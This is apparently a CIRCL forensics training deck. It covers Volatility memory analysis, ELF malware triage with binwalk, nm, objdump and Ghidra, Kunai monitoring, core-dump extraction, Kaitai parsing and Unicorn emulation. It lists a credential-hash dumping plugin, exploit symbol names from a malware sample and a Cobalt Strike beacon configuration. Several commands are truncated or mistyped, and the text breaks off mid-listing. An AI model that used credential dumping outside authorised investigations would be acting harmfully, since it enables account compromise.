7.6 Volatility: Network Analysis

- Windows XP and 2003 Server
  - `connections`
  - `connscan`
  - `sockets`
- Windwos 7
  - `netscan`

```
volatility --profile=Win7SP1x86 -f Win-Enc-20190415.raw netscan > netscan.txt
```

```
Proto    Local Address        Foreign Address      State            Pid      Owner
.....
UDPv4    0.0.0.0:0            *:*                                   2748     powershell.exe
UDPv6    :::0                 *:*                                   2748     powershell.exe
TCPv4    0.0.0.0:49155        0.0.0.0:0            LISTENING         456     services.exe
TCPv4    0.0.0.0:49156        0.0.0.0:0            LISTENING         464     lsass.exe
TCPv6    :::49156             :::0                 LISTENING         464     lsass.exe
TCPv4    10.0.2.15:49167      2.17.201.11:80       ESTABLISHED      1128     svchost.exe
TCPv4    10.0.2.15:49166      93.184.220.29:80     ESTABLISHED      1128     svchost.exe
TCPv4    10.0.2.15:49165      50.62.124.1:80       ESTABLISHED      3432     owxxb-a.exe
TCPv4    10.0.2.15:49160      216.239.32.21:80     ESTABLISHED      3432     owxxb-a.exe
TCPv4    10.0.2.15:49162      2.17.201.8:80        ESTABLISHED      3432     owxxb-a.exe
TCPv4    10.0.2.15:49168      13.107.21.200:80     ESTABLISHED      3832     iexplore.exe
TCPv4    10.0.2.15:49159      94.23.7.52:80        CLOSE_WAIT       2748     powershell.exe
.....
```

7.7 Volatility: Other plugins

- Other useful plugins

```
volatility -f memdump.raw sessions
volatility -f memdump.raw privs
volatility -f memdump.raw hivelist
volatility -f memdump.raw filescan
volatility -f memdump.raw timeline
volatility -f memdump.raw hashdump
```

- Get SIDs

```
volatility --profile=Win7SP1x86 -f Win-Enc-20190415.raw getsids

  powershell.exe (2748): S-1-5-21-3408732720-2018246097-660081352-1000 (John)
  owxxb-a.exe (3432): S-1-5-21-3408732720-2018246097-660081352-1000 (John)
  notepad.exe (3820): S-1-5-21-3408732720-2018246097-660081352-1000 (John)
  iexplore.exe (3832): S-1-5-21-3408732720-2018246097-660081352-1000 (John)
  iexplore.exe (3908): S-1-5-21-3408732720-2018246097-660081352-1000 (John)
  dllhost.exe (3928): S-1-5-21-3408732720-2018246097-660081352-1000 (John)
```

7.7 Volatility: Other plugins

- Command line history

```
vol.py --profile=Win7SP1x86 -f memdump.raw cmdline
vol.py --profile=Win7SP1x86 -f memdump.raw cmdscan
vol.py --profile=Win7SP1x86 -f memdump.raw consoles
```

- Find suspicious processes

```
volatility --profile=Win7SP1x86 -f Win-Enc-20190415.raw malfind

  Process: owxxb-a.exe Pid: 3432 Address: 0x400000
  Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
  Flags: CommitCharge: 134, MemCommit: 1, PrivateMemory: 1, Protection: 6

  0x00400000  4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00   MZ..............
  0x00400010  b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00    ........@.......
  0x00400020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
  0x00400030  00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00    ................

  0x00400000 4d                DEC EBP
  0x00400001 5a                POP EDX
  0x00400002 90                NOP
```

7.8 Volatility Exercise

```
python volatility3/vol.py -q --help | less
mkdir out2


python volatility3/vol.py -q -f ./DEMO-PC-20180315-160249.raw windows.pslist >out2/pslist
python volatility3/vol.py -q -f ./DEMO-PC-20180315-160249.raw windows.pstree >out2/pstree
python volatility3/vol.py -q -f ./DEMO-PC-20180315-160249.raw windows.psscan >out2/psscan
python volatility3/vol.py -q -f ./DEMO-PC-20180315-160249.raw windows.psxview >out2/psxvie


python volatility3/vol.py -q -f ./DEMO-PC-20180315-160249.raw windows.netscan.NetScan >out


python volatility3/vol.py -q -f ./DEMO-PC-20180315-160249.raw windows.dumpfiles.DumpFiles
python volatility3/vol.py -q -f ./DEMO-PC-20180315-160249.raw windows.filescan.FileScan >


python volatility3/vol.py -q -f ./DEMO-PC-20180315-160249.raw timeliner > out2/timeliner


python volatility3/vol.py -q -f ./DEMO-PC-20180315-160249.raw windows.registry.hivelist.H


python volatility3/vol.py -q -f ./DEMO-PC-20180315-160249.raw windows.consoles.Consoles >
python volatility3/vol.py -q -f ./DEMO-PC-20180315-160249.raw windows.cmdline.CmdLine > ou
python volatility3/vol.py -q -f ./DEMO-PC-20180315-160249.raw windows.cmdline.CmdScan > ou
```

CIRCL
FORENSICS Training

8. Bibliography and Outlook

8.1 Bibliography

- Windows Forensic Analysis 2E

  Harlan Carvey
  Syngress 2nd edition
  ISBN-13: 978-1-59-749422-9

- Windows Forensics

  Dr. Philip Polstra
  CreateSpace Independent Publishing
  ASIN: B01K3RPWIY

- Windows Forensic Analysis for Windows 7 3E

  Harlan Carvey
  Syngress
  ISBN-13: 978-1-59-749727-5

8.2 Outlook

- Scheduled Tasks
- Windows 8 analyzis
- Windows 10 analyzis
- Internet artifacts
- Mobile Forensics

Overview

1. Windows Registry
2. Event Logs
3. Other Sources of Information
4. Malware Analysis
5. Analysing files
6. Live Response
7. Memory Forensics
8. Bibliography and Outlook

Analysis Techniques of Executable and Linkable Format (ELF)

MISP-LEA project

CIRCL
Computer Incident
Response Center
Luxembourg

Co-funded by
the European Union

Team CIRCL
Gérard Wagener
TLP:CLEAR

https://www.circl.lu

20 January, 2025

Who is behind MISP-LEA?

- Proposal submitted to the ISF call **ISF-2022-TF1-AG-CYBER**[1]
- Consortium between **Shadowserver** and **CIRCL**
- Project start date: **June 1, 2023**
- Project duration: **24 months**
- Objective: Create a sharing hub bridging existing sharing communities and **Law Enforcement Agencies (LEA)**

MISP LEA

SHADOWSERVER

CIRCL Computer Incident Response Center Luxembourg

Co-funded by the European Union

[1] https://ec.europa.eu/info/funding-tenders/opportunities/docs/2021-2027/isf/wp-call/2021-2022/call-fiche_isf-2022-tf1-ag-cyber_en.pdf

MISP-LEA

Objectives

- Operational **MISP** & **AIL** platforms for LEAs.
- Operational data feeds from **CIRCL** & **Shadowserver**.
- Bridging connections with other operational sharing communities and the private sector.
- Platforms are operated by **CIRCL**.
- Main benefit for LEAs: Bootstrap investigations.
- Enable seamless information sharing with non-EU members.

Key Figures for 2025

- Access provided to more than 40 LEA agencies. 121 users.
- 2 years of historical data from crawled onion sites, chats,...

MISP

- Foster automated sharing among Law Enforcement Agencies (LEAs).
- Establish connections with other sharing communities, such as ISACs and CTI communities.
- Share crime indicators that fall outside the scope of CSIRT activities.

AIL

- AIL platform enables the analysis of collected information from various sources.
- Focuses on processing data from onion sites, darknet forums, and social media.
- Key benefit: Facilitates automated information extraction for investigations.

What is ELF?

- ELF stands for Executable and Linkable Format[2].
- It is a common standard file format for executables, object code, shared libraries, and core dumps.
- Originally developed by Unix System Laboratories and now widely used in Unix-like operating systems.

[2] `https://refspecs.linuxfoundation.org/elf/elf.pdf`

Structure of an ELF File

- An ELF file consists of three main parts:
  - **Header:** Contains metadata about the file type, architecture, and entry point.
  - **Program Header Table:** Describes how the file should be loaded into memory.
  - **Section Header Table:** Provides information about the sections in the file.
- ELF files are designed to be flexible and extensible.

Benefits of ELF

- Platform-independent format, enabling portability.
- Simplifies the linking and loading process.
- Supports dynamic linking, reducing redundancy.
- Extensively used in modern development environments.

ELF

Figure 1-1. Object File Format

[3]

[3] Reference: https://refspecs.linuxfoundation.org/elf/elf.pdf

Binwalk Output

```
Sample: 6420
   f5d7d48b75d687b8356e93c82721bb536c633d773f8985f
```

```
binwalk sample
```

Decimal	Hexadecimal	Description
0	0x0	ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
13111	0x3337	Boot section Start 0x58028941 End 0x5A41
13115	0x333B	Boot section Start 0x5A41 End 0x0

→ matched signatures → false positives

Using Binwalk

Sample:
9e70725640c4284e2049e4b25c9cc46cca496053cebf69855ec25acc9bd63e05

Decimal	Hexadecimal	Description
0	0x0	ELF, 64-bit LSB executable, AMD x86-64, version 1 (GNU/Linux)
600864	0x92B20	Unix path: /usr/share/locale
612774	0x959A6	Unix path: /usr/lib/getconf
620336	0x97730	Unix path: /usr/lib/locale
622368	0x97F20	Unix path: /usr/lib/locale/locale-archive
674903	0xA4C57	Unix path: /usr/lib/x86_64-linux-gnu/
778039	**0xBDF37**	**mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit**

Using Binwalk

- **Encrypted Data:**
  - The file contains data encrypted using **mcrypt 2.2**.
- **Encryption Algorithm:**
  - Algorithm: **Blowfish-448**, a symmetric block cipher with a 448-bit key size.
- **Cipher Mode:**
  - Mode: **CBC (Cipher Block Chaining)** for enhanced security via block interdependency.
- **Key Mode:**
  - Key processed in **8-bit mode**, possibly a default for mcrypt configurations.
- **Implications:**
  - Decryption requires the encryption key and potentially an initialization vector (IV).
  - Indicates sensitive or protected data within the file.
  - Poses a reverse engineering challenge without the key.

Extracting the content

Sample:
9e70725640c4284e2049e4b25c9cc46cca496053cebf69855ec25acc9bd63e05

```
dd if=sample of=extracted_data bs=1 skip
   =778039
```

- Binwalk uses signatures to identify and extract data from files.
- Determine the size of the detected block for further analysis.
- Evaluate whether the detection is a false positive by inspecting the data manually or using additional tools.

ELF Symbols from Binary Analysis

Extract symbols from binary excluding GBLIBC references
Sample:
6420f5d7d48b75d687b8356e93c82721bb536c633d773f8985f74c8977425f04

```
nm sample | grep -v GBLIBC
```

```
08048bfd t p4tch_sel1nux_codztegfaddczda
08048e9c t parse_cred
8050bb3 T prepare_fops_lsm_shellcode
08049215 t put_your_hands_up_hooker
0804b220 D r1ngrrrrrrr
0804988e t rey0y0code
0804b2c0 d ruujhdbgatrfe345
```

ELF Symbols from Binary Analysis

- Interpretation of the output of tool `nm`
- `man page is your friend`

Symbol Type	Explanation
a	The symbol's value is absolute and will not be changed by further linking.
b	The symbol is in the BSS data section.
d	The symbol is in the initialized data section.
r	The symbol is in the read-only data section.
t	The symbol is in the text (code) section.
w	The symbol is a weak symbol that has not been specifically tagged as a weak object symbol.

Using objdump to View ELF Sections

```
objdump -h sample
```

- **Output Structure:**
  - Lists all sections in the ELF file, including their attributes.
  - Provides information such as:
    - **Idx**: Section index in the ELF file.
    - **Name**: Name of the section (e.g., '.text', '.data').
    - **Size**: Size of the section in bytes.
    - **VMA (Virtual Memory Address)**: Where the section is loaded in memory.
    - **File Off**: Offset of the section in the binary file.
    - **Attributes**: Flags indicating section properties (e.g., 'ALLOC', 'LOAD', 'READONLY').
- **Use Case:**
  - Identify key sections like '.text' (code), '.data' (initialized data), '.bss' (uninitialized data), and '.dtor' (destructors).
  - Useful to identify the type of binary, such as a C program, C++, Go (Golang), etc.

ELF Section Details

Idx	Name	Size	VMA	LMA	File Off
0	.interp	00000013	08048134	08048134	00000134
1	.note.ABI-tag	00000020	08048148	08048148	00000148
2	.gnu.hash	00000030	08048168	08048168	00000168
3	.dynsym	00000290	08048198	08048198	00000198
11	.text	00001788	080489b0	080489b0	000009b0

Idx	Attributes
0	CONTENTS, ALLOC, LOAD, READONLY, DATA
1	CONTENTS, ALLOC, LOAD, READONLY, DATA
2	CONTENTS, ALLOC, LOAD, READONLY, DATA
3	CONTENTS, ALLOC, LOAD, READONLY, DATA
11	CONTENTS, ALLOC, LOAD, READONLY, **CODE**

Collaborative Malware Analysis Using MISP

Home | Event Actions | Dashboard | Galaxies | Input Filters | Global Actions | Sync Actions | Adminis

View Event
View Correlation Graph
View Event History

Edit Event
Delete Event
Add Attribute
Add Object
Add Attachment
Add Event Report
Populate from...
Enrich Event
Merge attributes from...

Publish Event
Publish (no email)
Delegate Publishing
Run Ad-Hoc Workflow
Contact Reporter

Add Attachment(s)

Category
Payload delivery

Distribution
Inherit event

Contextual Comment

Browse... No files selected.

- [x] Is a malware sample (encrypt and hash)
- [x] Advanced extraction

Upload

Uploading your sample to MISP

Collaborative Malware Analysis Using MISP

- Explore correlations between events and indicators.
- Analyze results from threat intelligence feeds.
- Review hits from synchronization caches.
- Watch out for false positives. Check the size of the section, as smaller sizes are more susceptible to false positives.

Collaborative Malware Analysis Using MISP

Exploring connected MISP instances within MISP-LEA

Kunai: what is it?

Kunai[4] is a security monitoring tool focusing on **threat detection** and **threat hunting tasks**. For those familiar with **Microsoft Sysmon**[5] you can view **Kunai** as its alter-ego for **Linux** systems.

It allows the monitoring of several system-related events:

- binary / script execution
- shared objects loaded
- drivers loaded
- eBPF programs loaded
- ...

List of **events**: `https://why.kunai.rocks/docs/events/`

[4] `https://github.com/kunai-project`

[5] https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon

Example: execve event


```
{
  "data": {
    "ancestors": "kernel|kernel",
    "parent_exe": "kernel",
    "command_line": "/sbin/modprobe -q -- net-pf-10",
    "exe": {
      "path": "/usr/bin/kmod",
      "md5": "08220eec2f1a1f3690a2d6b2a634d255",
      "sha1": "4dd4f7a269c9d18d755176bcf44bcef86abe2633",
      "sha256": "cc064683b03c958347f2a7d13ee9d4523434674e2599c2ca710f923dc44b0a5b",
      "sha512":
"87d3057d6881b5256bf1ae93386d9b615f1afe11c3c90ae2e71eb68d9cf4f550205135ffd5cf24ca6fa72e08edf56110bd70a9ca5c5448
283b5939384ff64813",
      "size": 166080,
      "error": null
    }
  },
  "info": {
    "host": "...",
    "event": {
      "source": "kunai",
      "id": 1,
      "name": "execve",
      "uuid": "e97b8ca5-f6bd-c206-afbd-701c0d61a9d9",
      "batch": 605
    },
    "task": "...",
    "parent_task": "...",
    "utc_time": "2024-10-29T12:47:58.834535124Z"
  }
}
```


NB: parts with "**...**" are elided for sake of space, please read documentation to understand the full event format.

How can it be used for binary analysis?

Spoiler alert: the primary goal of **Kunai** is not to be a binary analysis tool. Therefore it does not contain any advanced anti-analysis countermeasure some malware may implement.

Yet we believe it can be useful to achieve the following:

- Get a quick overview of the capacities of a malware sample
- It is monitoring **system-wide** events, so it catches some execution indirections:
  - cronjobs
  - services
  - dynamic linker tricks (example: LD_PRELOAD trick)
  - ...
- **Kunai output** can be directly **shared**, **used** as **IoC**, or to create **detection rules**.

Analysis process, in theory

1. Run **Kunai** on a machine dedicated to **dynamic malware analysis** (ideally a Virtual Machine).
2. Run the malware sample you want to look at.
3. Let the malware run for some time so that you can capture the maximum of its activity.
4. Collect the **Kunai** traces and analyze them.
5. **Optional**: build **detection rules**[6], extract **IoCs**, and share them.

[6] `https://why.kunai.rocks/docs/advanced/rule_configuration#detection-rules`

Analysis process in practice

Use our **Kunai sandbox** project:
`https://github.com/kunai-project/sandbox`

- It automates the procedure explained in the previous slide.
- It can be used to analyze samples from different architectures (currently **x86_64** and **amd64**) $\rightarrow$ can be used to analyze **IoT and mobile devices** malware.

Example: Mirai

Malware activity graph built from **Kunai** logs:

Going Further

- Read the documentation: `https://why.kunai.rocks/`
- Do hands-on exercises: `https://github.com/kunai-project/workshops`
- Check out some malware traces: `https://helga.circl.lu/NGSOTI/malware-dataset`
- Contribute:
  - Join the Discord channel.
  - Open issues for bugs, feature requests, ...
  - Give feedback: what you like and what you don't like.

Disassembly of <main> (Part 1) with objdump

```
8049d05 <main>:
8049d05: 8d 4c 24 04                lea   0x4(%esp),%ecx
8049d09: 83 e4 f0                   and   $0xfffffff0,%esp
8049d0c: ff 71 fc                   push  -0x4(%ecx)
8049d0f: 55                         push  %ebp
8049d10: 89 e5                      mov   %esp,%ebp
8049d12: 51                         push  %ecx
8049d13: 83 ec 34                   sub   $0x34,%esp
8049d16: 89 4d e4                   mov   %ecx,-0x1c(%ebp)
8049d19: c7 04 24 cc a5 04 08       movl  $0x804a5cc,(%esp)
8049d20: e8 37 ec ff ff             call  804895c <puts@plt>
8049d25: e8 82 eb ff ff             call  80488ac <getuid@plt>
8049d2a: 85 c0                      test  %eax,%eax
```

Disassembly of <main> (Part 2) with objdump

```
8049d47: c7 04 24 42 a6 04 08   movl  $0x804a642,(%esp)
8049d4e: e8 89 eb ff ff         call  80488dc <fwrite@plt>
8049d53: c7 45 e8 01 00 00 00   movl  $0x1,-0x18(%ebp)
8049d5a: e9 1c 03 00 00         jmp   804a07b <main+0x376>
8049d5f: 8b 55 e4               mov   -0x1c(%ebp),%edx
8049d62: 8b 42 04               mov   0x4(%edx),%eax
8049d65: 89 44 24 04            mov   %eax,0x4(%esp)
8049d69: 8b 55 e4               mov   -0x1c(%ebp),%edx
8049d6c: 8b 02                  mov   (%edx),%eax
8049d6e: 89 04 24               mov   %eax,(%esp)
8049d71: e8 e2 f8 ff ff         call  8049658 <env_prepare>
8049d76: e8 59 fa ff ff         call  80497d4 <y0y0stack>
8049d7b: e8 b1 fa ff ff         call  8049831 <y0y0code>
```

Introduction Ghidra

- **Disassembly and Decompilation:**
  - Transforms binary code into human-readable assembly.
  - Generates high-level language representations (C-like pseudocode).
- **Cross-Platform Support:**
  - Analyzes binaries for multiple architectures (x86, ARM, MIPS, etc.).
  - Compatible with various operating systems (Windows, Linux, macOS).
- **Collaboration:**
  - Supports multi-user reverse engineering projects.
  - Version-controlled changes for shared analysis.
- **Scriptability:**
  - Customize and automate analysis with Python and Java.
- **Extensibility:**
  - Add plugins and extend functionality for specific needs.
- **Data Flow Analysis:**
  - Tracks variables, functions, and references for better insight.

Static Analysis Using Ghidra

- Creating a project in Ghidra.
- Importing and analyzing a binary file.

Static Analysis Using Ghidra

- Determine the type of binary (e.g., ELF, PE).
- Analyze the binary's metadata for key attributes such as architecture, endianness, and sections.

Static Analysis Using Ghidra

- Explore the functions defined within the binary.
- Analyze the disassembly view to examine low-level instructions.
- Utilize the decompiled view for a high-level representation of the code.

Static Analysis Using Ghidra

- **Benefits of Ghidra's Decompiled View:**
  - Provides a high-level, human-readable representation of the code.
  - Simplifies understanding of complex binaries.
- **Avoid Manual Pattern Matching:**
  - Eliminates the need to manually match patterns in assembly code.
  - Speeds up the reverse engineering process.

String Analysis and Cross-References in Ghidra

- Identify interesting strings, such as filenames, hardcoded paths, or error messages.
- Use the cross-references (Xrefs) feature to determine which functions or code sections utilize these strings.

String Analysis and Function Call Trees in Ghidra

- Certain functions are known to generate forensic artifacts, such as ‘fopen‘ and ‘mmap‘.
- Locate these functions in the function call tree to identify which functions use them.
- Determine the artifacts that can be leveraged for detection and analysis.

Static Analysis and Function Call Graphs in Ghidra

- Visual representations of function call graphs provide valuable insights into program behavior.
- Insights include identifying parsing activities, code execution loops, and function relationships.

Core Dumps on Ubuntu

- **What is a Core Dump?**
  - A core dump is a snapshot of a program's memory at the moment it crashes.
  - Used for debugging to analyze the cause of the crash.
- **Where to Find Core Dumps in Ubuntu?**
  - Default location: `/var/lib/apport/coredump`.
  - When using `systemd`, they may be in `/var/lib/systemd/coredump`.
  - Core dumps may also be written to the program's working directory or as specified by `/proc/sys/kernel/core_pattern`.
- **Configuring Core Dumps:**
  - Set unlimited size: `ulimit -c unlimited`.
  - Check core pattern: `cat /proc/sys/kernel/core_pattern`.
  - Enable or configure core dumps in `/etc/security/limits.conf`.

Analyzing Crash Reports

Problem Type: Crash
Architecture: amd64
Crash Counter: 1
Date: Thu Jan 9 15:51:49 2025
Dependencies:

- adduser 3.137ubuntu1
- adwaita-icon-theme 46.0-1
- apt 2.7.14build2
- apt-utils 2.7.14build2
- at-spi2-common 2.52.0-1build1
- at-spi2-core 2.52.0-1build1
- base-passwd 3.6.3build1
- ca-certificates 20240203
- dbus 1.14.10-4ubuntu4.1
- ...

Analyzing a Base64-Encoded Core Dump

Crash Report Details:

- **Source Package:** zoom
- **System Info:** Linux 6.8.0-51-generic x86_64
- **User Groups:** adm, cdrom, dip, kvm, libvirt, lpadmin, plugdev, sudo, users
- **Core Dump Format:** Base64 Encoded

Base64 Blob (Partial):


```
H4sICAAAAAAC/0NvcmVEdW1wAA==
7J0HgBPV2v5nYUGaGhuiog5WLECogqJEEQVBjCiKlSy7C6y0sLsgYIsFxZ5r
74169drQ2LnW2LvGjj2Wq
```


Note: Decode the Base64 blob to retrieve the original core dump using the following command:

```
echo "H4sICAAAAAAC/0NvcmVEdW1wAA==" | base64 -d > coredump.g
gunzip coredump.gz
```

Extracting Core Dumps from Crash Files

- Unzipping the core dump creates a file such as `_opt_zoom_ZoomWebviewHost.1000.crash`.
- Decoding and decompressing the binary blob will produce a core dump.

Extracted Core Dump Details

Format: ELF 64-bit LSB core file, x86-64
Details: SVR4-style, from `/opt/zoom/ZoomWebviewHost --type=utility --utility-sub-type=screen_ai.mojom.Scr`
User Info: real uid: 1000, effective uid: 1000, real gid: 1000, effective gid: 1000
Exec Path: `/opt/zoom/ZoomWebviewHost`
Platform: x86_64

Note: Use tools like `gdb`, `readelf`, or `objdump` to analyze the extracted core dump.

Analyzing Unknown Formats

- Threat actors often use customized binary formats for encoding.
- Malware configuration parsing[7].
- Beacons of remote access tools, such as Cobalt Strike.

```
00000130  00 00 00 08 00 03 01 00  31 37 38 2e 31 32 38 2e  ........178.128.
00000140  31 35 30 2e 31 39 33 2c  2f 73 2f 72 65 66 3d 6e  150.193,/s/ref=n
00000150  62 5f 73 62 5f 6e 6f 73  73 5f 31 2f 31 36 37 2d  b_sb_noss_1/167-
00000160  33 32 39 34 38 38 38 2d  30 32 36 32 39 34 39 2f  3294888-0262949/
00000170  66 69 65 6c 64 2d 6b 65  79 77 6f 72 64 73 3d 62  field-keywords=b
00000180  6f 6f 6b 73 00 00 00 00  00 00 00 00 00 00 00 00  ooks............
```

Config field 0×8 showing an example blob structure in the sample data

Image source:[8].

[7] https://github.com/TeamT5/MalCfgParser

[8] https://sixdub.medium.com/using-kaitai-to-parse-cobalt-strike-beacon-configs-f5f0552d5a6e

Setting up Kaitai Struct

- The latest release (as of 2022) is available on GitHub: `https://github.com/kaitai-io/kaitai_struct`.
- To build Kaitai Struct from sources:
  - Ensure you have **Scala SBT (sbt)** installed.
  - Clone the repository and run the build commands.
- Command sequence for building Kaitai Struct.

```
git clone --recursive \
    https://github.com/kaitai-io/kaitai_struct.git
sbt compile
sbt compilerJVM/universal:packageBin
unzip unpack the zip file in \
    kaitai_struct/compiler/jvm/target/universal/kaitai

kaitai-struct-compiler -h
```

Setting up Kaitai Struct Python Environment

To set up the Python environment for Kaitai Struct, follow these steps:

```
python3 -m venv venv
source venv/bin/activate
pip3 install kaitaistruct
python3 parse.py
```

Important: Ensure you stay within the virtual environment. Exiting the virtual environment may prevent your script from running as expected.

Custom Format used in Kaitai Struct Example

The following is an example of a ‘.ksy‘ file for Kaitai Struct:

Offset (Bytes)	**Field Name**	**Description**
0x00–0x03	Header	4-byte unsigned integer (u4)
0x04–0x0A	Body	8 bytes of data

Table: Structure of the Example Data Format

Offset	00	01	02	03	04	04	05	06	07	08	09	A
Content	02	d2	49	96	62	61	64	63	66	65	68	67

Table: Visualization of the Example File

Description of custom binary format in YAML

Create an example.ksy file

```yaml
meta:
  id: example
  title: Example Binary Format
  endian: le
seq:
  - id: header
    type: u4
  - id: body
    size: 8
```

Transform it into python code

```
kaitai-struct-compiler -t python example.ksy
```

Generated Python File

```
# This is a generated file! Please edit source .ksy file
    and use kaitai-struct-compiler to rebuild

import kaitaistruct
from kaitaistruct import KaitaiStruct, KaitaiStream,
    BytesIO

class Example(KaitaiStruct):
    def __init__(self, _io, _parent=None, _root=None):
        self._io = _io
        self._parent = _parent
        self._root = _root if _root else self
        self._read()

    def _read(self):
        self.header = self._io.read_u4le()
        self.body = self._io.read_bytes(8)
```

Using your generated python class

```python
from example import Example

# Open the binary file
with open("data.bin", "rb") as f:
    data = Example.from_io(f)

# Access parsed fields
print(f"Header: {data.header}")
print(f"Body: {data.body}")
```

Kaitai Struct Formats - Overview

- The Kaitai Struct community actively **publishes** formats that can be parsed using Kaitai Struct.
- Explore available formats:
  - Community repository: `https://github.com/kaitai-io/kaitai_struct_formats/`
  - Example: Parsing ELF files: `https://github.com/kaitai-io/kaitai_struct_formats/blob/master/executable/elf.ksy`
- Formats cover a wide range of applications, including:
  - Databases
  - Windows-related formats
  - Serialization
  - Security
  - Networking
  - Media
  - MacOS
  - Filesystems

Kaitai Struct Formats - Categories (1/2)

- **Databases**:
  - SQLite3
- **Windows**:
  - LNK files
  - Minidump
  - Shell items
  - System time
  - Registry
- **Serialization**:
  - BSON
  - Chrome
  - Google Protobuf
  - Microsoft CFB
  - MGSPack
  - PHP serialized
  - Python CPickle
  - Ruby Marshal

Kaitai Struct Formats - Categories (2/2)

- **Security**:
  - EFI variable signature
  - SSH public key
- **Networking**:
  - Bitcoin transaction key
  - WebSocket
- **Media**:
  - Android OpenGL shaders cache
  - WAV
- **MacOS**:
  - DS_Store
  - Mac OS resource
- **Filesystems**:
  - LUKS
  - VDI

Decrypting files without access to a tool

Problem Statement

- Faced with a large number of encrypted files.
- Encryption uses a custom implementation.
- No available command-line tool for decryption.
- The key and/or IV has been recovered.
- Debugging and manual decryption of each file is time-consuming and inefficient.

Decrypting Files Without Access to a Tool

Traditional Approach

- Write a loader program to execute the code.
- Read the code into a buffer.
- Cast the buffer to a function pointer.
- Execute the function pointer.
- **Challenges:**
  - Buffers are often protected against code execution.
  - Requires fiddling with `mmap` and `mprotect`.
  - The code might include malicious instructions that went unidentified.
  - The decryptor may be designed for another CPU architecture (e.g., MIPS, RISC-V).

Decrypting Files Without Access to a Tool

- The Unicorn Engine[9] is a CPU emulator based on QEMU.
- Supports multiple architectures:
  - ARM, ARM64 (ARMv8), m68k, MIPS, PowerPC, RISC-V, S390x (SystemZ), SPARC, TriCore, and x86 (including x86_64).
- Provides bindings for various programming languages:
  - Pharo, Crystal, Clojure, Visual Basic, Perl, Rust, Haskell, Ruby, Python, Java, Go, D, Lua, JavaScript, .NET, Delphi/Pascal, and MSVC.
- Offers hooking capabilities for:
  - **Memory access**, **executed instructions**, and **interrupts**.
- Thread-safe[10]
- Works without modifying code (e.g., no need to insert instructions such as `INT3` or `0xCC`).

[9] `https://www.unicorn-engine.org/`

[10] Multithreading is often used as an anti-debugging technique.

Building Unicorn Engine

Prerequisites

Install the required tools:

- `cmake`
- `pkg-config`

Command:

```
sudo apt install cmake pkg-config
```

Building Unicorn Engine

Build Steps

Follow these steps to build Unicorn:

1. Create and navigate to the build directory:

   ```
   mkdir build; cd build
   ```

2. Run `cmake` with the release build type:

   ```
   cmake .. -DCMAKE_BUILD\_TYPE=Release
   ```

3. Compile the project and install it:

   ```
   make & make install
   ```

XOR Cipher Example in C 1/2

```c
#include <stdio.h>
#include <string.h>
// Function to encrypt/decrypt a string using XOR cipher
void xor_cipher(char *data, char key) {
    for (int i = 0; i < strlen(data); i++) {
        data[i] ^= key; // XOR each character with the key
    }
}
```

XOR Cipher Example in C 2/2

```c
int main() {
    char data[] = "Hello, World!";  // Message to encrypt
    char key = 'K';                 // Encryption key

    printf("Original: %s\n", data);

    // Encrypt the data
    xor_cipher(data, key);
    printf("Encrypted: %s\n", data);

    // Decrypt the data
    xor_cipher(data, key);  // Apply XOR again with the same key to decrypt
    printf("Decrypted: %s\n", data);

    return 0;
}
```

```
    gcc -o sample sample.c
```

Determining Base Address

In Ghidra, click on **Window** and then select **Memory Map**.

Name	Start	End	Length	R	W	X	Volatile	Artificial	Overlayed Space	Type
segment_2.1	00100000	00100317	0x318	✓						Default
.interp	00100318	00100333	0x1c	✓						Default
.note.gnu.property	00100338	00100367	0x30	✓						Default
.note.gnu.build-id	00100368	0010038b	0x24	✓						Default
.note.ABI-tag	0010038c	001003ab	0x20	✓						Default
.gnu.hash	001003b0	001003d3	0x24	✓						Default
.dynsym	001003d8	001004af	0xd8	✓						Default
.dynstr	001004b0	00100560	0xb1	✓						Default
.gnu.version	00100562	00100573	0x12	✓						Default
.gnu.version_r	00100578	001005b7	0x40	✓						Default
.rela.dyn	001005b8	00100677	0xc0	✓						Default
.rela.plt	00100678	001006bf	0x48	✓						Default

Determining the Start Address of the Function

- **Challenge:** Identify the function or code block responsible for encryption.
- **Approach:** Look for functions containing numerous arithmetic and bitwise operations:
  - Arithmetic operations: `ADD`, `SUB`, `MUL`, `DIV`.
  - Bitwise operations: `XOR`, `SHR`, `SHL`.
- Check for these operations grouped in blocks or loops.

```
00101189 f3 0f 1e fa     ENDBR64
0010118d 55              PUSH       RBP
0010118e 48 89 e5        MOV        RBP,RSP
00101191 53              PUSH       RBX
00101192 48 83 ec 28     SUB        RSP,0x28
00101196 48 89 7d d8     MOV        qword ptr [RBP + local_30],RDI
0010119a 89 f0           MOV        EAX,ESI
0010119c 88 45 d4        MOV        byte ptr [RBP + local_34],AL
0010119f c7 45 ec        MOV        dword ptr [RBP + local_1c],0x0
         00 00 00 00
001011a6 eb 26           JMP        LAB_001011ce
```

Determining the End of a Function

- Functions often end with the **RET** instruction.

```
         ff ff
001011e0 48 39 c3        CMP        RBX,RAX
001011e3 72 c3           JC         LAB_001011a8
001011e5 90              NOP
001011e6 90              NOP
001011e7 48 8b 5d f8     MOV        RBX,qword ptr [RBP + local_10]
001011eb c9              LEAVE
001011ec c3              RET

                     **********************************************************
                     *                          FUNCTION                      *
                     **********************************************************
```

Python Code Example: Hooking in Unicorn Engine

Listing 1: Hooking Example with Unicorn Engine

```python
from unicorn import *
from unicorn.x86_const import *

import struct

def hook_mem_access(uc, access, address, size, value, user_data):
    print(f"[*] Memory access: {access:x} at 0x{address:x}, data size = {size}, data value = 0x{value:x}")

def hook_code(uc, address, size, user_data):
    print(f"[*] Current RIP: {address:x}, instruction size = {size}")
```

- Create a virtual environment and install the Python bindings.
- Import the necessary methods.
- Set up the hooking functions.

Python Code Example: Configuring the Engine

Listing 2: Unicorn Engine Example with Hooks

```
1  with open("sample", "rb") as f:
2      binary = f.read()
3
4  ADDRESS = 0x1000000
5
6  uc = Uc(UC_ARCH_X86, UC_MODE_64)
7  uc.hook_add(UC_HOOK_MEM_WRITE, hook_mem_access)
8  uc.hook_add(UC_HOOK_MEM_READ, hook_mem_access)
9  uc.hook_add(UC_HOOK_CODE, hook_code, None, ADDRESS + 0x1189,
